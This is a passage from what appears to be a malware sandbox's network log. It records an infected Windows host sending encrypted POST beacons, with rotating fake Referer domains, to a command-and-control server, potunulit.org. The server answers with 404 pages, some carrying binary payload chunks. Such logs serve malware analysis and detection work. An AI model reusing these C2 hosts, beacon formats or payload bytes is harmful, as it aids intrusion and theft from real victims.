70 9a a2 ce 57 a3 fc ab fa 1d d4 ec 69 91 9c 1d 0f f1 2c c8 af 03 5b e5 1f e4 a6 7d 10 9f 10 b9 d9 b0 d9 07 99 4a e3 96 0c 06 1a 50 6d 43 9c 95 8b 8b e1 12 fb d5 9c a6 c3 e0 2b 63 be bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a cf f6 6b a3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac Data Ascii: 37af`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShGht~%$:Yb%f{G_9dOzo;N6E=Qu4Q";I~!_673%up"XJ3Ob>!ZC:>tSSQ{~xf$Oa~i~]DzN,t!QaF5\|(kJk?a]V4l3l)\|k~qt8JO;yLuVW;*r#g1er+Lc1<'iFHU=h~U@Wd{9f(B@w=fd3Dw)pKeNTUo)2([>T~pWi,[}JPmC+cz(Fzk7 RH:M?~Mpvn%.5_)CCUb:@3%}/#
Jan 25, 2023 09:42:43.622823954 CET	1656	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://avuxv.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 306 Host: potunulit.org
Jan 25, 2023 09:42:43.622891903 CET	1657	OUT	Data Raw: 48 9d 8e bb 4a 67 56 22 5d 72 20 52 79 ac 51 cb 28 6a 9c 13 8b 1d d9 ac bc 6a ab 87 72 f6 d1 97 8e a8 80 be 73 42 95 c5 d2 2b 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 bb 8a 14 62 cc d6 4f 96 a6 b2 19 db Data Ascii: HJgV"]r RyQ(jjrsB+jp_S61oJf=B!bO5'!b%iQEU?z\|Ww`E+g9<LEimr35]evruxv<C0J=R,][O~N,0Nt-
Jan 25, 2023 09:42:43.703080893 CET	1658	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Jan 2023 08:42:43 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=tJRMiBv%2Fo1O7pddNIovR9%2BkbH%2FNFx5Agj9q6RyLCEoEq1Ie%2B%2BStJ7MimILDHCxYIL7GV9drV5WPvuwrH%2BBtNcIPbIU5g72qmmPHQwMHDOtfbO6t4qAcTbUmRDXQfvJf4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 78efb796ae7fbb86-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
Jan 25, 2023 09:42:43.834852934 CET	1658	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hdmcxxriay.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 142 Host: potunulit.org
Jan 25, 2023 09:42:43.834898949 CET	1659	OUT	Data Raw: 48 9d 8e bb 4a 67 56 22 5d 72 20 52 79 ac 51 cb 28 6a 9c 13 8b 1d d9 ac bc 6a ab 87 72 f6 d1 97 8e a8 80 be 73 42 95 c5 d2 2b 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 b8 8a 14 62 cd d6 4f 96 a0 e1 17 ab Data Ascii: HJgV"]r RyQ(jjrsB+jp_S61oJf=B!bOf1-S&S_?rB7djY<eRI
Jan 25, 2023 09:42:43.922513008 CET	1660	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Jan 2023 08:42:43 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hMVTlmLiaS0u3lcFuyO9PWh8h%2FlTVPPCAHksGY2T0ZuUp7CSIG75%2Bpuz5WlvdeiDYuqPipvotJuyuXe4kEJxi1e6YyHH2THjoy%2FevH8rA7AZLAZi1zUYikxGSOt4AJKP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 78efb797f861bb86-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 33 37 61 65 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 e5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 45 f9 be 81 5c 66 a8 e8 f0 36 53 24 2c a5 8f e7 b7 37 3d c6 e6 9b 62 ee 24 83 a6 65 03 55 89 27 15 58 4a 51 ed 7d ed 50 70 4c 7f 28 8d 57 eb ea d2 40 02 6b a6 04 87 3c ee b7 5a c9 0e dc 61 57 d5 6c 7d b2 16 94 f7 41 be f3 79 4f 23 37 a3 c4 29 35 5b a5 cc 40 e2 5e 61 26 01 56 cf 43 b1 4e a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 fa cb 1f 9e 1d 09 52 2b b5 c8 83 7b 32 44 f2 ff 8a f3 9a b8 c4 0d 13 13 bf 1e e1 92 c4 08 4d c4 08 a0 c2 a1 61 d0 cb f5 69 4f 3a 17 7e 5f af 9a ce a0 c9 a0 c1 a9 dd 7a 0d 50 5b 19 e0 2c d5 a9 18 0a f5 96 be 27 51 61 9f d4 3e 7c 88 28 c8 48 6e a1 c0 4a 9a 03 fd ec 9e 7a 42 ac 87 2b bd 61 3f 9b 44 bf 44 34 bd 79 12 6c 23 6c 29 6c 0a 8d c7 fd f4 0e a4 fb 7e 71 eb 80 f5 1a 78 9b 4a d8 19 ae cc 4f 3b 79 82 ae 48 7f 17 4c 25 56 ad f3 57 fb 1c b9 42 53 ce 23 b2 75 0e 31 79 92 90 f7 df 09 f4 e7 ea 3f 4c 80 d0 92 c0 13 ff 0d bb d6 3f f0 29 27 c8 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 d7 bf 6e 39 26 e7 ac 04 28 84 42 40 77 9b c7 9b 84 27 28 66 91 8b 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 4e a1 54 55 8b fa d2 63 1b c3 cb 29 04 85 f2 5b 1e 44 ab 1e 26 d3 04 ee c3 ca 57 a3 4c 1d 85 1f d4 5c 68 91 9c 29 06 f1 0c 5e ae 63 75 97 7b 85 d2 1c 10 9f da 89 d9 b0 99 c7 8c 8a cd d6 7f 74 79 e2 78 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 6b a9 b4 fb 2f 1e 76 5c b3 ae 46 1f ec 1b 8a 7a 8f f6 7d e3 cd c0 d9 37 00 64 f6 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 7f dc e5 be 63 d4 03 a6 60 eb ac 98 46 d3 0d ca 82 0f 13 2e 9f 28 cc ec 35 6c d6 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 58 3a 1d b8 6e d8 cb e4 ae a7 a1 33 f1 34 da a9 c3 68 f1 2f cb a8 Data Ascii: 37ae`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShG*E\f6S$,7=b$eU'XJQ}PpL(W@k<ZaWl}AyO#7)5[@^a&VCN:V?#BSSR+{2DMaiO:~_zP[,'Qa>\|(HnJzB+a?DD4yl#l)l~qxJO;yHL%VWBS#u1y?L?)'i3FHU=hU@n9&(B@w'(fd0QpKk^NTUc)[D&WL\h)^cu{tyxCbzk/v\Fz}7d RH:Mc`F.(5l_)CCUbX:n34h/
Jan 25, 2023 09:42:48.447266102 CET	3391	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mgqyrb.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 272 Host: potunulit.org
Jan 25, 2023 09:42:48.447369099 CET	3391	OUT	Data Raw: 48 9d 8e bb 4a 67 56 22 5d 72 20 52 79 ac 51 cb 28 6a 9c 13 8b 1d d9 ac bc 6a ab 87 72 f6 d1 97 8e a8 80 be 73 42 95 c5 d2 2b 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 b8 8a 14 62 cc d6 4f 96 ef c1 3f fa Data Ascii: HJgV"]r RyQ(jjrsB+jp_S61oJf=B!bO?+a*<Ku=N9./jBw+BvfOj4W8g&>$sr;0mh8!\/~/[/E]oKH!aX-GrmZ7@>
Jan 25, 2023 09:42:48.532133102 CET	3392	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Jan 2023 08:42:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ITc4s3qiDzDXTGVdO5yCasCjJDCLbSBAb53qjx%2BlQXWpW9cw2nsH7g1e%2BXD3Tn8UYRVZZ07o4BEy7pFemVo6vtl7n4GdADkIpmWpynkv9yFggIr%2BmyU%2BWNjzvEb%2F0M1W"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 78efb7b4de82bb86-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
Jan 25, 2023 09:42:48.589936972 CET	3393	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://efxdannslj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 128 Host: potunulit.org
Jan 25, 2023 09:42:48.589936972 CET	3393	OUT	Data Raw: 48 9d 8e bb 4a 67 56 22 5d 72 20 52 79 ac 51 cb 28 6a 9c 13 8b 1d d9 ac bc 6a ab 87 72 f6 d1 97 8e a8 80 be 73 42 95 c5 d2 2b 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 b9 8a 14 62 cd d6 4f 96 98 f4 39 d2 Data Ascii: HJgV"]r RyQ(jjrsB+jp_S61oJf=B!bO93;rcJ}8'/hOk}U\
Jan 25, 2023 09:42:48.669029951 CET	3394	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Jan 2023 08:42:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YjFvyGi%2FhC3YzFHEQEAOJmwq8NtdjGI95kSnfhJCR4q6yhhGbjJbrpf9yYVm8WK5qqyQ1IyLkajz4Cn4Kqlhief%2FCcMOXRGhyax%2FRUDm%2B8JFpDj0pqnLxTyKIZlDNiv%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 78efb7b5bfe7bb86-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
Jan 25, 2023 09:42:48.723962069 CET	3394	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://scyxiteu.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 291 Host: potunulit.org
Jan 25, 2023 09:42:48.724030018 CET	3395	OUT	Data Raw: 48 9d 8e bb 4a 67 56 22 5d 72 20 52 79 ac 51 cb 28 6a 9c 13 8b 1d d9 ac bc 6a ab 87 72 f6 d1 97 8e a8 80 be 73 42 95 c5 d2 2b 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 be 8a 14 62 cd d6 4f 96 bc d7 1d b1 Data Ascii: HJgV"]r RyQ(jjrsB+jp_S61oJf=B!bO/F\o[+*}ZeR/?')+z(H'mj,I7L(zy[od,a=TBKJD+Y_Ot`QpL+
Jan 25, 2023 09:42:48.802829027 CET	3396	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Jan 2023 08:42:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=mTwRIfe5fSyK6G8IqHdJcZxWZuEywq7C2ZqwSA02VUXjoofH8iKSLq4LXMTYP4IXyufz8DVUfNhOLaaf64lRI2q6qLqEqGXBJoxywyMQe8UvO5Oioj0nZg5hG94RwJmy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 78efb7b688fcbb86-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
Jan 25, 2023 09:42:48.810410976 CET	3396	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://opfakis.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 263 Host: potunulit.org
Jan 25, 2023 09:42:48.810410976 CET	3397	OUT	Data Raw: 48 9d 8e bb 4a 67 56 22 5d 72 20 52 79 ac 51 cb 28 6a 9c 13 8b 1d d9 ac bc 6a ab 87 72 f6 d1 97 8e a8 80 be 73 42 95 c5 d2 2b 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 bf 8a 14 62 cd d6 4f 96 9b af 38 d7 Data Ascii: HJgV"]r RyQ(jjrsB+jp_S61oJf=B!bO8nePFeN.`fN)9PayHP-_U 0x<J0%pdKA7qpX\*'Iv@i.6D'xkX(_ui-i-
Jan 25, 2023 09:42:48.891894102 CET	3398	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Jan 2023 08:42:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=qY9%2FI3jpzeuGFKJaFwzV5psKw8btlS0SGqr4NYkOKq1edM0UiMLrYLvaeiMjBPp3W6jCOs9hKt4afkkUofOC5HjpfaE%2FXALilnPq8xxA9ZRyD3JqaXy5L8jpAmlz2piT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 78efb7b719d4bb86-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
Jan 25, 2023 09:42:48.904700994 CET	3398	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ntishu.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 111 Host: potunulit.org
Jan 25, 2023 09:42:48.986310005 CET	3399	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Jan 2023 08:42:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PQuhwW0%2BmVY2EEk%2BQmM%2FxVelthb435gJ75OTOr0K1zug7H5lyLscuCk2NVTTME96zcleUebNBlQsSJAsbuoOJld7ntlv827vD2%2FehCrFf3tj4loCejuLfl8wPad9V8hL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 78efb7b7aae3bb86-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 